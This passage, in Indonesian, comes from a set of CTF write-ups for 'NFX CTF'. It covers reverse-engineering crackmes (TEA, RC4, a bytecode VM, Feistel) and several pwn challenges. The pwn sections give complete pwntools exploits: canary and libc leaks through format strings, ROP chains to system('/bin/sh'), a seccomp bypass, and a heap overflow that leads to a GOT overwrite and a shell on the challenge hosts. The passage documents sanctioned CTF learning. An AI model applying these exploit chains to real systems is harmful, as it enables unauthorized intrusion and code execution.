print(out)
```

Verifikasi

```
cp medium_tea /tmp/medium_tea && chmod +x /tmp/medium_tea
/tmp/medium_tea 'NFX{t1ny_3ncrypt10n_4lg0r1thm_32_r0und5}'
# Correct! TEA terpecahkan.
```

Pelajaran

- TEA mudah dikenali dari `delta = 0x9e3779b9` (pass `0x61c88647`) dan 32 ronde berakhir di `sum = 0xc6ef3720`.
- Kunci 128-bit bisa disamarkan sebagai konstanta aritmetika di instruksi, bukan array; ubah `-x` menjadi `2^32-x`.

RC4 Medium Reverse (Medium)

- **Challenge:** medium_rc4
- **Category:** Reverse
- **Artifact:** Cryptography/medium_rc4 (ELF64 PIE, stripped, 14.472 byte)
- **Flag:** NFX{rc4_1s_s1mpl3_but_d34dly_1n_r3v3rs1ng}

Deskripsi

Layanan validasi memakai **RC4** dengan kunci yang tertanam di binary. Ciphertext flag disimpan sebagai array byte di .rodata. RC4 simetris → dekripsi = enkripsi.

Analisis statis

```
file medium_rc4            # ELF 64-bit LSB pie executable, stripped
strings -n 4 medium_rc4
```

String penting:

```
Pemakaian: %s <flag>
Wrong!
n0t_s3cur3_k3y_2026          # <-- kunci RC4
Correct! RC4 memang simetris.
```

Dump .rodata (objdump -s -j .rodata medium_rc4) menunjukkan array ciphertext tepat setelah string "Correct!" (offset 0x2060):

```
ada1e2de 80fab7a4 65572a79 e3ecf825
690a5cca 49dff6ca a4c29c36 d2485f17
bb3e29d2 01f7009c 9d31
```

= 42 byte:

```
ada1e2de80fab7a465572a79e3ecf825690a5cca49dff6caa4c29c36d2485f17bb3e29d201f7009c9d31
```

Eksploitasi

```
def rc4(key, data):
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 255
        S[i], S[j] = S[j], S[i]
    out = bytearray(); i = j = 0
    for c in data:
        i = (i + 1) & 255
        j = (j + S[i]) & 255
        S[i], S[j] = S[j], S[i]
        out.append(c ^ S[(S[i] + S[j]) & 255])
```

```
    return bytes(out)

key = b"n0t_s3cur3_k3y_2026"
ct  =
bytes.fromhex("ada1e2de80fab7a465572a79e3ecf825690a5cca49dff6caa4c29c36d2485f17bb3e29d201
f7009c9d31")
print(rc4(key, ct))
```

Output:

```
NFX{rc4_1s_s1mpl3_but_d34dly_1n_r3v3rs1ng}
```

Verifikasi

```
cp medium_rc4 /tmp/medium_rc4 && chmod +x /tmp/medium_rc4
/tmp/medium_rc4 'NFX{rc4_1s_s1mpl3_but_d34dly_1n_r3v3rs1ng}'
# Correct! RC4 memang simetris.
/tmp/medium_rc4 'NFX{test}'
# Wrong!
```

Pelajaran

- Kunci RC4 yang di-hardcode bisa dibaca langsung via strings.
- Ciphertext array mudah dikenali di .rodata setelah string validasi.
- RC4 simetris: cukup satu fungsi untuk enkripsi/dekripsi.

Key word	**Nilai**
k0	0x1337beef
k1	-0x35014542 = 0xcafebabe
k2	-0x21523f22 = 0xdeadc0de
k3	0x0badf00d

Castaway — Reverse Engineering (Hard)

- **Challenge:** castaway
- **Category:** Reverse Engineering
- **Binary:** Reverse-Engineering/castaway (ELF64 PIE, stripped)
- **Flag:** NFX{c4st4w4y_0n_4n_0p4qu3_st4t3_m4ch1n3}

Ringkasan

Program membaca flag> dari stdin (maks 0x100), strlen harus **0x28 (40)**, lalu memproses tiap byte lewat transformasi stateful (S-box + rotate + XOR) dan membandingkan hasilnya (memcmp) dengan 40 byte target di .rodata 0x2140. Ada ptrace(PTRACE_TRACEME) sebagai anti-debug.

Anti-debug

```
ptrace(PTRACE_TRACEME,0,1,0);
is_traced = (rax == -1);
...
out[0] ^= is_traced;       // di bawah debugger hasil jadi salah
memcmp(out, target, 40);
```

Saat dijalankan normal, ptrace mengembalikan 0 → is_traced=0 → tidak berpengaruh. (Kalau di-debug, set is_traced=0 atau out[0]^=1.)

Data di .rodata

- 0x2020 : **S-box** 256 byte (permutasi penuh).
- 0x2120 : tabel 16 byte dc5ac5d41cd2bb6b825c9af1d19676bd (dipakai i & 0xf).
- 0x2130 : 16 byte nol.
- 0x2140 : **target ciphertext** 40 byte d554ada841e3e679f6bf13d01d319dd72db7cd6ea9c8e8a4957bcacbb55f16f0362681c32cfb9b74.

State machine & opaque predicate

Loop memakai variabel state mesin st (0→1→2→…), tapi st==2 berisi opaque predicate:

```
if (((i*i) & 3) == 2) st = 0x32; else st = 1;
```

Karena kuadrat modulo 4 selalu 0 atau 1, kondisi **selalu salah** → state 0x32 (dead code yang menulis out[0]=0xff) tidak pernah dieksekusi. Jadi loop efektif memproses i = 0 .. 39.

Transformasi per byte (forward)

state (byte) mulai 0xA5.

```
for (i = 0; i < 40; i++) {
    b = input[i] ^ state;
    b = rol8(b, (i % 7) + 1);
    b = (b + T[i & 0xf]) & 0xff;      // T = tabel 0x2120
    b = sbox[b];
    b = b ^ ((i * 0x2f) & 0xff);
    out[i] = b;
    state = (state * (-125) + b + i) & 0xff;   // -125 = 0x83
}
```

Catatan: rol8 di binary dihitung sebagai (b<<sh) | (b sar (8-sh)) lalu diambil al → ekuivalen ROL8 (b positif < 256).

Inversi

Untuk tiap byte, state forward hanya bergantung pada out[i] dan i, jadi bisa dihitung maju; input diinversi mundur:

```
b = out[i] ^ ((i*0x2f) & 0xff)
b = inv_sbox[b]
b = (b - T[i & 0xf]) & 0xff
b = ror8(b, (i % 7) + 1)
input[i] = b ^ state
state = (state * (-125) + out[i] + i) & 0xff
```

Solver

Reverse-Engineering/solve_castaway.py membaca S-box/tabel/target via pwntools, menginversi, dan memverifikasi dengan forward transform.

```
NFX{c4st4w4y_0n_4n_0p4qu3_st4t3_m4ch1n3}
```

Verifikasi:

```
echo 'NFX{c4st4w4y_0n_4n_0p4qu3_st4t3_m4ch1n3}' | ./castaway
# flag> Access granted.
```

Pelajaran

- Opaque predicate (i*i & 3) == 2 tidak pernah benar → abaikan cabang dead code.
- Transformasi per-byte yang reversibel bisa diinversi langsung; state dihitung dari output.
- Anti-debug ptrace yang hanya mengubah 1 byte bisa dinetralkan dengan analisis statis.

Hard VM — Reverse Engineering (Hard)

- **Challenge:** hard_vm
- **Category:** Reverse Engineering
- **Binary:** Reverse-Engineering/hard_vm (ELF64 PIE, stripped)
- **Flag:** NFX{vm_byt3c0d3_1s_l1k3_4_puzzl3}

Ringkasan

argv[1] harus **33 byte** (strlen == 0x21). Program menyalin input ke [rsp+0x10], lalu menjalankan **bytecode VM** 3-byte/instruksi di .rodata 0x2080 (panjang 0x1F2 = 498 byte = 166 instruksi) dengan register byte di [rsp+0xC+reg].

Opcode (dari interpreter di 0x10C0)

Opcode	Aksi	Semantik
0x01	LOAD	reg[A] = input[B]
0x02	XOR	reg[A] ^= B
0x03	ADD	reg[A] += B (mod 256)
0x04	ROL	reg[A] = rol8(reg[A], B & 7)
0x05	CMP	if reg[A] != B -> "Wrong!"
0xFF	HALT	"Correct! Bytecode VM berhasil dibongkar."
0x00	—	gagal

Dispatch memakai jump table relatif di .rodata 0x2060 (base + dword[opcode]).

Struktur bytecode

33 ronde, tiap ronde 5 instruksi (untuk indeks input i):

```
01 00 i       ; reg0 = input[i]
02 00 K1      ; reg0 ^= K1
03 00 K2      ; reg0 += K2
04 00 R       ; reg0 = rol8(reg0, R)
05 00 T       ; cek reg0 == T
```

Contoh ronde pertama:

```
01 00 00   LOAD input[0]
02 00 5a   XOR 0x5a
03 00 21   ADD 0x21
04 00 01   ROL 1
05 00 6a   CMP 0x6a
```

Inversi per karakter

```
T = rol8((input[i] ^ K1) + K2, R)
```

maka:

```
y       = ror8(T, R)
z       = (y - K2) & 0xff
input[i] = z ^ K1
```

Solver

Reverse-Engineering/solve_hard_vm.py membaca bytecode via pwntools, mengelompokkan 5 instruksi per ronde, dan menginversi tiap karakter.

```
NFX{vm_byt3c0d3_1s_l1k3_4_puzzl3}
```

Verifikasi:

```
./hard_vm 'NFX{vm_byt3c0d3_1s_l1k3_4_puzzl3}'
# Correct! Bytecode VM berhasil dibongkar.
```

Pelajaran

- Bytecode VM 3-byte/instruksi mudah di-lift: petakan opcode dari jump table interpreter.
- Transformasi XOR → ADD → ROL per karakter bersifat reversibel penuh.

Hard Feistel — Reverse Engineering (Hard)

- **Challenge:** hard_feistel
- **Category:** Reverse Engineering
- **Binary:** Reverse-Engineering/hard_feistel (ELF64 PIE, stripped)
- **Flag:** NFX{f315t3l_n3tw0rk_16_r0und5_r3v3rs3d}

Ringkasan

argv[1] harus **39 byte** (strlen == 0x27). Input disalin ke buffer, satu byte padding nol ditambahkan (buffer di-zero dulu), diproses per blok 4 byte (32-bit: L,R 16-bit big-endian) dengan **Feistel 16 ronde**, lalu dibandingkan (memcmp) dengan 40 byte ciphertext di .data 0x4020.

Parameter

- Round key (16 dword di .rodata 0x2060): 5a,79,98,b7,d6,f5,14,33,52,71,90,af,ce,ed,0c,2b (pola 0x5a + 0x1f*i (mod 256)).
- Ciphertext (.data 0x4020, 40 byte): b949ad0b cc2c0880 63ec6501 c0776b74 4cb390a4 0840aeb3 ff87facc 95252c4d 11b58590 7ca91072

Fungsi F (dari assembly)

```
F(R, key) = ( ((R * 0x9e3779b1) & 0xffffffff) >> 5 ) XOR (key * 0x101) , ambil 16-bit
```

(imul eax,ebx,0x9e3779b1; shr eax,5; xor dengan key*257; movzx eax,ax)

Struktur Feistel

Satu ronde:

```
L_{t+1} = R_t
R_{t+1} = L_t XOR F(R_t, key_t)
```

16 ronde (t = 0..15). Output blok = (L_16, R_16) sebagai dua 16-bit big-endian. (Perhatikan output menyimpan R_15 = L_16 lalu R_16.)

Dekripsi (tanpa invers F)

Untuk t = 15..0, dari (L_{t+1}, R_{t+1}):

```
R_t = L_{t+1}
L_t = R_{t+1} XOR F(R_t, key_t)
```

Mulai dari blok ciphertext (L_16,R_16); akhirnya (L_0,R_0) = plaintext.

Solver

Reverse-Engineering/solve_hard_feistel.py membaca key dan ciphertext via pwntools, mendekripsi 10 blok, membuang padding nol.

```
NFX{f315t3l_n3tw0rk_16_r0und5_r3v3rs3d}
```

Verifikasi:

```
./hard_feistel 'NFX{f315t3l_n3tw0rk_16_r0und5_r3v3rs3d}'
# Correct! Jaringan Feistel berhasil dibalik.
```

Pelajaran

- Feistel invertible: dekripsi hanya membalik urutan ronde dan menukar L/R, tanpa invers F.
- Ciphertext 40 byte = 10 blok; input 39 byte + satu padding nol (buffer di-zero sebelum salin).
- Fungsi F memakai konstanta 0x9e3779b1 (mirip TEA delta) dan key*0x101.

PWN

Gateway Under Pressure — Pwn (Medium)

- **Challenge:** GatewayUnderPressure
- **Category:** Pwn
- **Binary:** peserta/gateway (ELF64 PIE, not stripped)
- **Remote:** nc s1.nfx.my.id 41497
- **Flag:** NFX{Nyoss_Gte3wayy_Pr3ssureee0!}

Ringkasan proteksi

PIE, NX, stack canary (fs:0x28). Tidak ada win() di alur menu, tetapi ada fungsi **release_gateway()** (offset 0x12e1) yang membuka flag.txt lalu printf("FLAG: %s", ...).

Bug

Ada dua bug komplementer di menu:

1. **Info leak — do_audit()**: membaca len (0 < len ≤ 0x1000) lalu write(1, rbp-0x50, len) dari buffer **tak terinisialisasi** → membocorkan stack (canary, saved rbp, return address PIE, dan lebih jauh libc).
2. **Stack overflow — do_dispatch()**: membaca len (0 < len ≤ 0x200) lalu read_exact(rbp-0x50, len) — buffer berjarak **72 byte** ke canary (0x50-0x8). Cukup overflow untuk menimpa canary + saved rbp + return address.

"Control flow not always controlled by the application" → overwrite return address ke release_gateway.

Layout stack (do_audit / do_dispatch)

```
buf          rbp-0x50
canary       rbp-0x8   -> offset 72 dari buf
saved rbp    rbp+0x0   -> offset 80
return addr  rbp+0x8   -> offset 88
```

Exploit (pwntools)

```
from pwn import *
HOST, PORT = 's1.nfx.my.id', 41497
p = remote(HOST, PORT)

# 1) register session
p.recvuntil(b'> '); p.sendline(b'1')
```

```
p.recvuntil(b'session token : '); p.sendline(b'x')

# 2) audit -> leak stack
p.recvuntil(b'> '); p.sendline(b'2')
p.recvuntil(b': '); p.sendline(b'4096')
leak = p.recvn(4096)

canary = u64(leak[72:80])
ret    = u64(leak[88:96])
base   = ret - 0x1807          # ret address = main + 0x1807 (setelah call do_audit)
release = base + 0x12e1        # release_gateway
ret_gadget = base + 0x101a     # alignment (ret)

# 3) dispatch -> ret2win
p.recvuntil(b'> '); p.sendline(b'3')
p.recvuntil(b': ')
payload = b'A'*72 + p64(canary) + b'B'*8 + p64(ret_gadget) + p64(release)
p.sendline(str(len(payload)).encode())
p.recvuntil(b'dispatch payload : ')
p.send(payload)
print(p.recvall(timeout=10))
```

Output:

```
FLAG: NFX{Nyoss_Gte3wayy_Pr3ssureee0!}
```

Catatan

- ret_gadget dipakai untuk memperbaiki stack alignment 16-byte sebelum masuk release_gateway (kalau tidak, movaps di libc bisa crash).
- release_gateway memanggil exit(0) di akhir, jadi tidak perlu chain lanjutan.
- Offset PIE base diambil dari return address do_audit → main+0x1807.

NFXCTF Convention — Pwn (Medium)

- **Challenge:** NFXCTF Convention
- **Event:** NFX CTF
- **Category:** Pwn
- **Files:** Pwn/NFXCTFConvention.zip (oscar_convention, libc.so.6, ld-linux-x86-64.so.2)
- **Flag:** NFX{h4ck3r_c0nv3nt10n_m4st3r_pwn3r_9988776655}

Ringkasan

Tiga bug dirangkai:

1. edit_name() melakukan strcpy ke struct global player tanpa batas → menimpa score, rank, dan quote.
2. leave_feedback() memakai read(0, buf, 0x100) ke buffer stack hanya **0x70 (112) byte** → stack overflow (canary + saved RIP).
3. view_profile() memanggil printf(log_buf) tanpa format string tetap → **format string vulnerability**.

Dengan rank dinaikkan ke VIP lewat bug (1), format string dipakai untuk leak **canary + libc**, lalu bug (2) dipakai untuk ROP system("/bin/sh").

Proteksi

```
PIE: enabled
Full RELRO (BIND_NOW)
NX: enabled
Stack canary: enabled
Libc: Ubuntu GLIBC 2.35-0ubuntu3.14 (disediakan)
```

Layout struct player

Dari setup() dan edit_name():

```
player+0x00 : name[0x40]   (64 byte)
player+0x40 : score (int)
player+0x44 : rank  (int)
player+0x48 : quote (char*)
player+0x60 : ...
log_buf     : 0x40c0 (global)
```

1. Rank ke VIP + jaga quote pointer

play_game() menjawab 10 soal untuk rank 5. Setelah itu edit_name() membaca hingga 0x80 byte ke stack lalu strcpy(player, buf).

Payload:

```
64 * 'A'      -> name
4  * 'S'      -> score
4  * 'R'      -> rank = 0x52525252 (> 19, VIP)
1  * NUL      -> menghentikan strcpy tepat di byte pertama quote
```

NUL penting: strcpy menulis terminator di player+0x48 (byte rendah quote), sehingga quote berubah dari PIE+0x2008 menjadi PIE+0x2000 — masih alamat rodata yang valid. Tanpa trik ini, puts(quote) di view_profile() bisa crash.

2. Leak canary + libc

leave_feedback() hanya butuh rank > 19. Feedback disimpan ke log_buf lewat snprintf(log_buf, 0x100, "%s", feedback), lalu view_profile() memanggil printf(log_buf).

Format string pendek (harus < 112 byte agar tidak merusak stack):

```
%3$p.%7$p.%9$p.%17$p
```

Hasil:

- %7$p → **canary**
- %17$p → return address ke __libc_start_call_main (offset 0x29d90)

libc_base = leak17 - 0x29d90. Offset dari libc yang disediakan:

```
pop rdi; ret : 0x2a3e5
/bin/sh      : 0x1d8678
system       : 0x50d70
ret          : 0x2a3e6
```

3. Stack overflow → ROP

Di leave_feedback():

```
buffer      = rbp-0x70 (112 byte)
canary      = rbp-0x8  -> offset 104
saved RBP   = rbp      -> offset 112
saved RIP   = rbp+8    -> offset 120
```

Payload kedua:

```
payload  = b"A"*104
payload += p64(canary)
payload += b"B"*8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)       # alignment sebelum system()
payload += p64(system)
```

Saat leave_feedback() selesai, canary cocok, lalu ROP menjalankan system("/bin/sh").

Hasil

```
PWNED
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/app
-r--r----- 1 root ctf 47 ... flag.txt
NFX{h4ck3r_c0nv3nt10n_m4st3r_pwn3r_9988776655}
```

Exploit: exploit_convention.py

```
python3 exploit_convention.py s1.nfx.my.id <port>
```

Flag

```
NFX{h4ck3r_c0nv3nt10n_m4st3r_pwn3r_9988776655}
```

Pelajaran

- Global strcpy overflow bisa mengubah field logika (rank/quote) tanpa menyentuh stack.
- Format string printf(log_buf) membocorkan canary dan libc; full RELRO bukan halangan karena targetnya stack.
- Stack canary bisa dilewati jika nilainya berhasil dileak lebih dulu.
- ret gadget tambahan diperlukan untuk alignment stack sebelum system().

Pipa Nu Kotor — Pwn (Medium)

- **Challenge:** PipaNuKotor
- **Category:** Pwn
- **Binary:** peserta/pipa (ELF64, **non-PIE**, not stripped)
- **Remote:** nc s1.nfx.my.id 46078
- **Flag:** NFX{Si44aTehKuduSadarDip4lakSave3Jari1}

Struktur data

Menu "pengelola pipa" menyimpan tiap pipa sebagai struct malloc(0x18):

```
+0x00  char  *buf       (rw: malloc(0x40) | ro: &shadow_page)
+0x08  size_t kapasitas  (0x40)
+0x10  int    mode      (0 = rw, 1 = ro/protected)
+0x14  int    state     <-- TIDAK di-inisialisasi oleh op_buka()
```

shadow_page global (0x40 byte) diisi isi_shadow() dari /dev/urandom dengan format 6<16 hex>$; op_login() membandingkan input dengan shadow_page via strcmp, kalau cocok memanggil cetak_flag().

Bug

op_tulis() memeriksa proteksi halaman **ro** memakai field yang salah:

```
if (struct->mode != 0) {                // [struct+0x10]
    if ((struct->state & 0x10) == 0) {   // [struct+0x14]  <-- uninitialized!
        puts("halaman dilindungi ... ditolak");
        return;
    }
}
memcpy(struct->buf, data, len);
struct->state |= 0x10;                  // set bit 0x10 setelah tulis
```

- Field +0x14 **tidak pernah diinisialisasi** oleh op_buka().
- Setelah tulis sukses, bit 0x10 di-set pada chunk struct.
- op_tutup() membebaskan struct ke tcache (0x20). Tcache hanya menimpa +0x0 (fd) dan +0x8 (key), sehingga **+0x14 tetap menyimpan bit 0x10 (stale)**.
- op_buka() berikutnya me-malloc(0x18) dan biasanya mendapat chunk yang sama; bila dibuka sebagai **ro**, buf menunjuk shadow_page dan +0x14 masih berisi bit stale → tulis ke halaman terproteksi **BERHASIL** ("flags basi") → shadow_page bisa ditimpa.

Exploit

1. [1] buka pipa **rw** (slot 0).

2. [3] tulis data apa saja ke slot 0 → set bit 0x10 di +0x14.
3. [2] tutup slot 0 → struct & buffer masuk tcache.
4. [1] buka lagi slot 0 sebagai **ro** → chunk struct reuse, buf = shadow_page, +0x14 stale.
5. [3] tulis **64 byte** ("A"*63 + "B") ke slot 0 → lolos cek (kapasitas 64, memcpy 64 byte ke shadow_page, lalu shadow_page[63]=0). Hasil: shadow_page = "A"*63 + "\0".
6. [5] login dengan password "A"*63 → strcmp cocok → cetak_flag().

```
from pwn import *
p = remote('s1.nfx.my.id', 46078)
def prompt(): p.recvuntil(b'pilihan : ')
prompt()
p.sendline(b'1'); p.recvuntil(b'mode (rw/ro) : '); p.sendline(b'rw')
prompt(); p.sendline(b'3'); p.recvuntil(b'index : '); p.sendline(b'0'); p.recvuntil(b'data : ');
p.sendline(b'x')
prompt(); p.sendline(b'2'); p.recvuntil(b'index : '); p.sendline(b'0')
prompt(); p.sendline(b'1'); p.recvuntil(b'mode (rw/ro) : '); p.sendline(b'ro')
prompt(); p.sendline(b'3'); p.recvuntil(b'index : '); p.sendline(b'0'); p.recvuntil(b'data : ')
p.send(b'A'*63 + b'B' + b'\n')
prompt(); p.sendline(b'5'); p.recvuntil(b'password : '); p.sendline(b'A'*63)
print(p.recvall(timeout=10))
```

Output:

```
[+] login sebagai root - akses diberikan
FLAG: NFX{Si44aTehKuduSadarDip4lakSave3Jari1}
```

Pelajaran

- Cek field state yang **tidak diinisialisasi** pada struct hasil malloc.
- Tcache hanya menimpa sebagian kecil chunk → field di offset lain bisa "basi" (stale) saat chunk dipakai ulang.
- Membandingkan flag proteksi dengan field yang salah = bypass proteksi.

Starved — Pwn (Medium)

- **Challenge:** Starved
- **Category:** Pwn
- **Binary:** peserta/chall (ELF64 PIE, Full RELRO, NX, canary, libseccomp), libc 2.35 disediakan
- **Remote:** nc s1.nfx.my.id 44788
- **Flag:** NFX{st4rv3d_s3cc0mp_fd0_r3us3_r0p_m4st3r}

Ringkasan

1. leaker(): printf(nick) → **format string** (leak canary, PIE, libc).
2. main(): baca 8 byte header [size:u32][magic:u32], cek magic == 0xdead, lalu read(0, rbp-0x1a0, size) dengan **size dari klien** → stack overflow (offset 0x198 + canary).
3. seccomp default KILL, allow-list: write, open, openat, pread64, close, lseek, fstat, newfstatat, brk, exit, exit_group, dan **read hanya bila arg0 (fd) == 0**.
4. ROP: close(0) → openat(AT_FDCWD,"flag.txt",0) (fd kembali 0) → read(0,buf,0x100) (lolos aturan fd0) → write(1,buf,0x100).

Format string (indeks stabil)

Kirim "%p."*40 ke nick> . Didapat:

Arg	Nilai	Arti
#3	libc + 0x1149d7	write+0x17 (leftover)
#27	canary	low byte 0x00
#29	pie + 0xf1d	return address main+0xf1d

```
libc_base = leak3 - (libc.sym.write + 0x17)   # write = 0x1149c0
pie_base  = leak29 - 0xf1d
canary    = leak27
```

Gadget libc 2.35 (offset)

```
pop rdi ; ret           = 0x2a3e5
pop rsi ; ret           = 0x2be51
pop rdx ; pop rbx ; ret  = 0x90469
pop rax ; ret           = 0x45eb0
syscall ; ret           = 0x912d6
```

Layout overflow

```
main read buffer   rbp-0x1a0
canary             rbp-0x8     -> offset 0x198 (408)
saved rbp          rbp+0x0
return address     rbp+0x8
```

payload = b"A"*0x198 + p64(canary) + p64(0) + ROP

Header: p32(len(payload)) + p32(0xdead)

ROP chain

```
# close(0)  -> rax=3
# openat(-100, fname, 0) -> rax=0x101, fd=0
# read(0, fname, 0x100)  -> rax=0  (allowed: read arg0 == 0)
# write(1, fname, 0x100) -> rax=1
```

fname = pie_base + 0x3020 (global berisi "flag.txt").

Hasil

```
NFX{st4rv3d_s3cc0mp_fd0_r3us3_r0p_m4st3r}
```

(Diikuti DECOY{...} karena read 0x100 byte dari .data; flag asli di awal.)

Pelajaran

- Format string memberi leak canary + PIE + libc sekaligus.
- Seccomp yang membatasi read ke fd 0 bisa diakali dengan close(0) lalu openat → fd 0 (fd0 trick).
- pread64 juga di-allow tanpa batasan arg (alternatif bila gadget pop r10 tersedia).

Talatah Ti Peuntas — Pwn (Hard)

- **Challenge:** Peuntas (service: pengelola talatah, protokol TLT1)
- **Category:** Pwn (hard)
- **Binary:** tidak tersedia dengan benar — Peuntas/PipaNuKotor.zip berisi binary lama pengelola pipa, sedangkan remote menjalankan pengelola talatah
- **Remote:** nc s1.nfx.my.id 42949
- **Proteksi:** non-PIE (0x400000), NX, stack canary; RELRO parsial (GOT 0x404000+ writable)
- **Libc remote:** libc6_2.43-2ubuntu2.4_amd64 (glibc 2.43)
- **Flag:** NFX{HiduPPk1T4AAyangMelawann}
- **Exploit:** exploit_talatah.py

Catatan: file challenge tidak cocok dengan remote

Zip Peuntas/PipaNuKotor.zip (identik dengan PipaNuKotor.zip di root) berisi binary lama pengelola pipa. Menu remote justru:

```
=== pengelola talatah (protokol TLT1) ===
[0] daftar node
[1] parse message
[2] view node
[3] edit node
[4] delete node
[6] keluar
```

Karena itu binary remote direkonstruksi lewat **arbitrary read** (lihat bagian Heap Overflow): baca 0x400000..0x405000 per 0x400 byte, lalu dianalisis dengan objdump. Dari situ didapat layout protokol, struct node, dan peta GOT.

Protokol TLT1

parse message meminta panjang pesan (24..1024), lalu membaca tepat panjang byte. Format pesan (big-endian):

```
offset  size  field
0x00    4     magic "TLT1"
0x04    4     (tidak dipakai untuk validasi)
0x08    4     total_len   (harus == panjang pesan)
0x0c    4     key_size    (1..64)
0x10    2     tag         (harus 0x0001)
0x12    2     tlv_len     (harus <= total_len - 20)
0x14    ...   key[key_size] + tlv data
```

Validasi yang ada hanya: magic, total_len == len, 1 <= key_size <= 64, tag == 1, tlv_len <= sisa pesan.

Struktur node (heap)

parse melakukan (hasil rekonstruksi dari disassembly remote):

```
buf  = malloc(key_size);          // key_size <= 64
node = malloc(0x20);              // chunk size 0x30, usable 0x28
node->buf   = buf;               // +0x18
node->len   = tlv_len;           // +0x10
node->flags = 0;                 // +0x14
snprintf(node, 16, "msg%d", idx);// +0x00 name[16]
tabel[idx] = node;
memcpy(buf, msg + 0x14, tlv_len); // <-- BUG: panjang copy = tlv_len
```

Layout node:

```
+0x00  char name[16]
+0x10  uint32 len
+0x14  uint32 flags
+0x18  char *buf
```

Bug utama

buf = malloc(key_size) (paling besar 64 byte), tetapi memcpy menyalin tlv_len byte (bisa sampai ~1000) dari msg+0x14. Dua kesalahan sekaligus:

1. **Ukuran copy tidak dipercaya** — tlv_len tidak dibatasi oleh key_size.
2. **Sumber copy salah** — selalu mulai di msg+0x14 (awal key), bukan msg+0x14+key_size.

Untuk key_size = 1, chunk buf berukuran 0x20, node user berada di buf+0x20, dan field node berturut-turut:

```
buf+0x10  node chunk prev_size
buf+0x18  node chunk size        (harus dijaga 0x31)
buf+0x20  node->name
buf+0x30  node->len
buf+0x34  node->flags
buf+0x38  node->buf  <-- pointer!
```

Jadi tlv_len >= 0x40 membuat kita menimpa **pointer node->buf**.

Primitif

- **view**: fwrite(node->buf, 1, node->len, stdout) → arbitrary read (dengan node->buf dan node->len yang kita kontrol).
- **edit**: memcpy(node->buf, data, newlen), newlen 0..0x400, dibaca persis (bukan line-based) → arbitrary write.
- **delete**: free(node->buf); free(node); tabel[idx]=NULL.

Tidak perlu heap leak: semua alamat target fixed karena binary non-PIE.

Peta GOT

```
0x404000 free       0x404008 putchar     0x404010 write
0x404018 strlen*    0x404020 stack_chk   0x404028 printf
0x404030 snprintf   0x404038 read        0x404040 memcmp*
0x404048 memcpy*    0x404050 malloc      0x404058 setvbuf
0x404060 atoi       0x404068 fwrite
(* IFUNC — alamat hasil resolusi bukan offset simbol generik)
```

PT_GNU_RELRO = 0x403df8..0x404000, jadi slot GOT mulai 0x404000 (**free**) berada di luar RELRO dan writable.

Identifikasi libc

Arbitrary read ke GOT memberi offset halaman (12 bit bawah):

Simbol	**Leak**	**Offset**
write	...c10	0x128c10
read	...150	0x128150
printf	...080	0x64080
snprintf	...730	0x6a730
malloc	...e10	0xb4e10
setvbuf	...2d0	0x8f2d0
atoi	...130	0x47130
fwrite	...2e0	0x8d2e0

Fingerprint ini cocok dengan **libc6_2.43-2ubuntu2.4_amd64**:

```
write   = 0x128c10
read    = 0x128150
printf  = 0x64080
snprintf= 0x6a730
malloc  = 0xb4e10
system  = 0x5c2e0
```

strlen/memcmp/memcpy tidak dipakai untuk menghitung base karena merupakan IFUNC (alamat runtime-nya varian AVX, bukan offset simbol).

Base dihitung dari 4 simbol sekaligus dan dicek harus sama:

```
base = write - 0x128c10
assert base == read - 0x128150 == printf - 0x64080 == malloc - 0xb4e10
system = base + 0x5c2e0
```

Contoh run:

```
leaks  0x7faacda60c10 0x7faacda60150 0x7faacd99c080 0x7faacd9ece10
bases  0x7faacd938000 (semua sama)
system 0x7faacd9942e0
```

Alur exploit

1. **Arbitrary read GOT** 0x404000 (len 0x80): parse pesan dengan overflow yang menulis node->buf = 0x404000, lalu view 0. Hitung libc_base dari write/read/printf/malloc.
2. **Overwrite GOT[free]** (0x404000) dengan system: parse node kedua dengan overflow yang menulis node->buf = 0x404000, lalu edit 1 dengan 8 byte p64(system).
3. **Siapkan "/bin/sh"**: parse node ketiga dengan key_size=1, tlv_len=8, body "/bin/sh\x00" → node->buf menunjuk buffer berisi "/bin/sh\0".
4. **Trigger** delete 2: free(node->buf) sekarang memanggil system("/bin/sh") → shell.

Setelah itu cukup kirim cat flag.txt.

Payload overflow (kunci)

Pesan dengan key_size=1, tlv_len=0x40, body 0x40 byte:

```
d  = b"A"*0x18
d += p64(0x31)         # node chunk size tetap valid (malloc(0x20) -> 0x30)
d += b"N"*16           # node->name
d += p32(length)       # node->len  (dipakai view untuk banyak byte)
d += p32(0)           # node->flags
d += p64(target)       # node->buf  <-- target arbitrary read/write
msg = b"TLT1" + b"\x00"*4 + p32be(len+20) + p32be(1) + p16be(1) + p16be(0x40) + d
```

> d[0x18:0x20] = 0x31 wajib, karena node berada tepat setelah chunk buf. Kalau field size node ikut tertimpa, allocator rusak.

Exploit (ringkas)

```
def mk_arb(target, n):
   d  = b"A"*0x18 + p64(0x31) + b"N"*16 + p32(n) + p32(0) + p64(target)
   return TLT1_msg(key_size=1, tlv_len=0x40, body=d)

# 1) leak GOT
parse(mk_arb(0x404000, 0x80))
got = view(0, 0x80)
base = u64(got[0x10:0x18]) - 0x128c10        # write
system = base + 0x5c2e0

# 2) GOT[free] = system
parse(mk_arb(0x404000, 8))
edit(1, p64(system))
```

```
# 3) node berisi "/bin/sh"
parse(TLT1_msg(key_size=1, tlv_len=8, body=b"/bin/sh\x00"))

# 4) free(buf) -> system("/bin/sh")
delete(2)
sendline(b"cat flag.txt")
```

Output:

```
NFX{HiduPPk1T4AAyangMelawann}
```

Pelajaran

- **Jangan percaya ukuran dari pesan**: tlv_len dipakai sebagai panjang memcpy tanpa dibatasi kapasitas malloc(key_size).
- Struktur heap yang menyimpan **pointer + panjang** sangat berbahaya saat ada overflow: menimpa pointer buf langsung memberi arbitrary read/write.
- Binary non-PIE membuat target GOT/PLT fixed; cukup satu kali leak libc untuk menghitung system.
- GOT free yang writable + kontrol isi buffer = panggilan system("/bin/sh") tanpa perlu ROP.
- IFUNC (strlen, memcmp, memcpy) jangan dipakai untuk fingerprint offset; pakai fungsi biasa seperti write/read/printf/malloc.
- Kalau file challenge tidak cocok dengan remote, arbitrary read bisa dipakai untuk "mencuri" binary dari memori proses

NarrowGate — Pwn (Insane)

- **Challenge:** NarrowGate
- **Category:** Pwn (insane)
- **Binary:** peserta/narrowgate (ELF64 PIE, Full RELRO, NX, stack canary, not stripped)
